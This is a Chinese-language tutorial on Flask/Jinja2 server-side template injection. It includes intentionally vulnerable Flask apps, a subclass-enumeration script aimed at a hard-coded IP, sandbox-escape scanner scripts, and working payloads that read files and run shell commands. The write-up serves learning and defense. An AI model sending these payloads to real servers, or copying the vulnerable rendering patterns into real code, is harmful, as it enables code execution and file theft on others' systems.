1、什么是SSTI?什么是Flask?

SSTI称为服务端模板注入,主要为Python、Java、PHP的框架在使用渲染函数时,由于代码不规范或者对于用户输入过于信任而导致产生了SSTI。类似于SQL注入,SQL注入通过union联合查询这样或者构造逻辑结构等形式让服务端执行了我们传入的数据,并且返回了相关信息,而这里SSTI是通过用户传入数据,进入模板渲染被执行了,并且返回了相关内容。(到时候可能举个例子)

使用sql语句时
select * from tables where id = '$a';
sql注入时
select * from tables where id = '-1' union select 1,2,3#';

使用模板渲染时
"Hello!%s" % s
SSTI时
"Hello!{{7*7}}" -->则输出Hello!49

Flask是一个用Python编写的Web应用程序框架。Armin Ronacher带领一个名为Pocco的国际Python爱好者团队开发了Flask。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。两者都是Pocco项目。(来源自w3cschool)这里我感觉有两个点:Python的框架和Jinja2做为渲染引擎。(使用flask提供的渲染函数,用Jinja2进行渲染)

Jinja2中存在三种语法:

1、控制结构{% %}

2、变量取值{{ }}。如果{{xxx}}中xxx为单纯的字符串拼接并不会带来注入问题,但是如果是控制语句,就会造成数据域与代码域的混淆,这就会有问题。

3、注释{# #}

2、如何使得Flask造成SSTI

在Flask中通常使用render_template()函数和render_template_string()函数进行模板渲染。

render_template()函数

使用render_template()函数时,第一个参数是引用的模板文件名称,接着是需要传递的变量。引用的模板文件需要在templates文件夹中存在。

app.py

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/')
@app.route('/index')
def index():
   return render_template("index.html",title='xxx',user=request.args.get("key"))
   
if __name__ == '__main__': 
	app.run(host="0.0.0.0", port=5000)
	app.run(debug=False)

index.html

<html>
  <head>
    <title>{{title}}</title>
  </head>
  <body>
      <h1>Hello, {{user}}!</h1>
  </body>
</html>

app.py中当访问时自动引用index.html这个模板,接着后面两个参数传入模板中进行渲染,最后呈现出来。

render_template_string()函数

区别于上一个函数,此时第一个参数将不再是文件名,我们将不需要在templates文件夹中新建HTML文件,而是可以将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/')
@app.route('/index')
def index():
   template = '''
   		<html>
  			<head>
    			<title>{{title}}</title>
  			</head>
 			<body>
      			<h1>Hello, {{key}}!</h1>
  			</body>
		</html>'''
   return render_template_string(template,title='xxx',key=request.args.get("key"))
   
if __name__ == '__main__': 
	app.run(host="0.0.0.0", port=5000)
	app.run(debug=False)

大致意思于前面一个函数一样,不过使用不同的函数,则写出来的代码也是不一样的。上述的例子由于合理的代码规范,所以是不存在漏洞。虽然key是可控的,但是代码已经不在生效了,此时的模板已经固定了。即使传入{{4*4}}也是返回{{4*4}}。

但是如果将{{key}}更换成%s,通过传入字符串的方式传入内容,当传入恶意构造的模板语句时就会造成SSTI

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/')
@app.route('/index')
def index():
   if request.args.get('key'):
   	key = request.args.get("key")
   template = '<h1>Hello,%s!</h1>' % key
   return render_template_string(template,title='xxx')
   
if __name__ == '__main__': 
	app.run(host="0.0.0.0", port=5000)
	app.run(debug=False)

或者如果将传入的字符串当做一个变量则会进行执行后,并返回相应的结果。如下列一段代码:

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/')
@app.route('/index')
def index():
   if request.args.get('key'):
   	key = request.args.get("key")
   template = '''
   		<html>
  			<head>
    			<title>{{title}}</title>
  			</head>
 			<body>
      			<h1>Hello, ''' + key + '''!</h1>
  			</body>
		</html>'''
   return render_template_string(template,title='xxx')
   
if __name__ == '__main__': 
	app.run(host="0.0.0.0", port=5000)
	app.run(debug=False)

这里对于key变量是可控的,并且代码并不规范,导致了服务端会对key变量进行渲染时执行传入的一些参数,从而SSTI。

就此我们可以得到的是:SSTI漏洞存在render_template_string()函数,因为render_template()函数是将内容传入一个模板中进行渲染,而HTML文件对于{{xxx}}这种变量取值语句实现不了修改成%s的形式,简单说就是无法执行{{xxx}}中xxx的内容。render_template_string()函数因为存在%s可以执行代码内容或者当做一个变量会进行执行后返回对应内容,所以会产生SSTI漏洞。

3、如何进行利用

敏感信息泄露

通过访问对应的全局变量(?key={{config}}),可以泄露出配置文件的内容

主要利用方式

看了网上很多师傅的文章,理了一下思路。感觉应该是分以下几步:

1、寻找父类<type 'object'>
__class__:返回调用的类型,或者说返回一个实例所属的类
__mro__:查看类继承的所有父类,直到返回object类
__bases__:返回一个类直接所继承的类(元组形式),但不包含继承树更上层的其他类,如父类的父类

先返回对应的类型,如()返回元组tuple;''返回字符str
>>> ().__class__
<class 'tuple'>
>>> ''.__class__
<class 'str'>

接着向上向上寻找<class 'object'>
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>) //Python3结果,Python3不支持basestring()函数,所以不再返回basestring类
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>) //Python2结果
使用__mro__在Python中没有区别,因为它都可以向上返回直到object类型为止,选择我们需要的类可以用
Python3:''.__class__.__mro__[1]返回object

但是如果使用的是__bases__则有一些不一样,从上面的内容可知,basestring类在Python3不存在了
>>> ''.__class__.__base__  //Python3返回
<class 'object'>
>>> ''.__class__.__bases__ //Python2返回
(<type 'basestring'>,)
2、寻找可用的子类
当返回到object后,就是获得类的所有子类
__subclasses__:获取类的所有子类,并以列表的形式返回

>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>…………还有很多

然后在子类中选择可用适合的子类进行利用
例如我们想要使用<class 'os._wrap_close'>这个子类
>>> ''.__class__.__base__.__subclasses__()[132]
<class 'os._wrap_close'>

提供一个快速找到我们想要使用的子类脚本

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://8.129.15.153:20022?name=' #这里需要修改从目标url以及GET参数

for i in range(1,300):
    payload = '{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}' #根据自己的payload稍作修改
    res = requests.get(url+payload)

    #if "os._wrap_close" in res.text:
    if res.text.find('os._wrap_close') != -1:
        print i
        print payload
        break

Python2可利用的查找

# coding=UTF-8
# Python2
find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],
                'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],
                'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
                'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],
                'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],
                'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],
                'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],
                'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],
                'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],
                'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],
                'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],
                'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],
                'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],
                'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],
                'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],
                'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],
                'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],
                'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],
                'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],
                'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],
                'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],
                'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],
                'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
                'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],
                'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],
                'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],
                'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],
                'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],
                'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],
                'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],
                'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],
                'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],
                'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],
                'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],
                'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],
                'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],
                'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],
                'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],
                'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],
                're': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],
                'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],
                'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],
                'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],
                'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],
                'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],
                'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],
                'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],
                'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],
                'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],
                'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
                'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],
                'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],
                'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],
                'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],
                'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],
                'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
                'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],
                'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],
                'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],
                'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],
                'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],
                'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],
                'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],
                '_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],
                'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],
                'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],
                'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],
                'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],
                'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],
                'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],
                'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],
                '_osx_support': ['os', 'sys', '__builtins__'],
                'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],
                'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],
                'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],
                'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],
                'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
                'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],
                'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],
                'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],
                'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],
                'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],
                'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],
                'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],
                'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],
                'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
                'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],
                'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],
                'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],
                'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],
                'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],
                '_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],
                'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],
                'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],
                'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],
                'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],
                'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],
                'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],
                'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],
                'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],
                'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],
                'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],
                'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],
                'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],
                'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
                '_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],
                'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],
                'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],
                'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
    for f in all_targets:
        if f == s:
            if f in target_functions:
                print(i, f)
            elif f in all_modules:
                target = find_modules[f]
                sub_dict = subclasses[i].__dict__
                for t in target:
                    if t in sub_dict:
                        print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
    try:
        more = sub.__init__.func_globals
        for m in all_targets:
            if m in more:
                print(i, sub, m, find_modules.get(m))
    except Exception as e:
        pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
    try:
        more = sub.__init__.func_globals.values()
        for j, v in enumerate(more):
            for f in all_targets:
                try:
                    if f in v:
                        if f in target_functions:
                            print(i, j, sub, f)
                        elif f in all_modules:
                            target = find_modules.get(f)
                            sub_dict = v[f].__dict__
                            for t in target:
                                if t in sub_dict:
                                    print(i, j, sub, f, target)
                except Exception as e:
                    pass
    except Exception as e:
        pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
    try:
        more = sub()._module.__builtins__
        for f in all_targets:
            if f in more:
                print(i, f)
    except Exception as e:
        pass

Python3可利用的查找

# coding=UTF-8
# Python3
find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],
                'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],
                'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],
                'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],
                'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],
                'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],
                'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],
                'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
                'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],
                'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],
                'unittest': ['__builtins__'], 'urllib': ['__builtins__'],
                'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],
                'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],
                '__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],
                '_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],
                '_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],
                '_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],
                '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],
                '_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],
                'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],
                'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],
                'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],
                'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],
                'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],
                'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],
                'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],
                'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],
                'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],
                'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
                'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],
                'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],
                'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],
                'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],
                'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],
                'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],
                'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],
                'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],
                'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],
                'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],
                'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],
                'imp': ['os', 'importlib', 'sys', '__builtins__'],
                'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],
                'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
                'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],
                'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],
                'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],
                'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],
                'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],
                'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],
                'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],
                'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],
                'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],
                'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],
                'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],
                'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],
                'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],
                'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],
                'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
                'pty': ['os', 'sys', '__builtins__'],
                'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],
                'pyclbr': ['importlib', 'sys', '__builtins__'],
                'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],
                'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],
                'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],
                'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],
                'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],
                'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],
                'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],
                'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],
                'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
                'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],
                'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],
                'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],
                'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
                'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],
                'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],
                'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', '__builtins__'],
                'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],
                'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],
                'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],
                'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],
                'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],
                'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
                'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],
                'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],
                'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],
                'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
    for f in all_targets:
        if f == s:
            if f in target_functions:
                print(i, f)
            elif f in all_modules:
                target = find_modules[f]
                sub_dict = subclasses[i].__dict__
                for t in target:
                    if t in sub_dict:
                        print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
    try:
        more = sub.__init__.__globals__
        for m in all_targets:
            if m in more:
                print(i, sub, m, find_modules.get(m))
    except Exception as e:
        pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
    try:
        more = sub.__init__.__globals__.values()
        for j, v in enumerate(more):
            for f in all_targets:
                try:
                    if f in v:
                        if f in target_functions:
                            print(i, j, sub, f)
                        elif f in all_modules:
                            target = find_modules.get(f)
                            sub_dict = v[f].__dict__
                            for t in target:
                                if t in sub_dict:
                                    print(i, j, sub, f, target)
                except Exception as e:
                    pass
    except Exception as e:
        pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
    try:
        more = sub()._module.__builtins__
        for f in all_targets:
            if f in more:
                print(i, f)
    except Exception as e:
        pass

以上两个查找的脚本来源于:https://hatboy.github.io/2018/04/19/Python沙箱逃逸总结/#遍历找到其他的逃逸方法

3、寻找可利用的函数进行命令执行或者文件操作
通过上述的脚本我们应该可以找到我们想要使用的子类了

__init__:类实例创建后调用,对当前对象的实例的一些初始化
func_globals:返回一个包含函数全局变量的字典引用(Python2)
__globals__:能够返回函数所在模块命名空间的所有变量(Python3)

使用__init__初始化我们的类,并根据版本返回类中的所有函数
接着就是使用上述根据脚本中的函数使用函数了

这里我分别测试两种版本的第三层Payload
Python2
''.__class__.__mro__[2].__subclasses__()[61].__init__.func_globals.values()[1]['file']('py2.py').read()
这个是一切正常的

Python3
例子
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.values()[5]['open']('py3.py').read()
根据脚本的模板改的,但好像不是很给力,一直测试都是不行的,然后换成了下面这种方式,测试是可行的
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('py3.py').read()

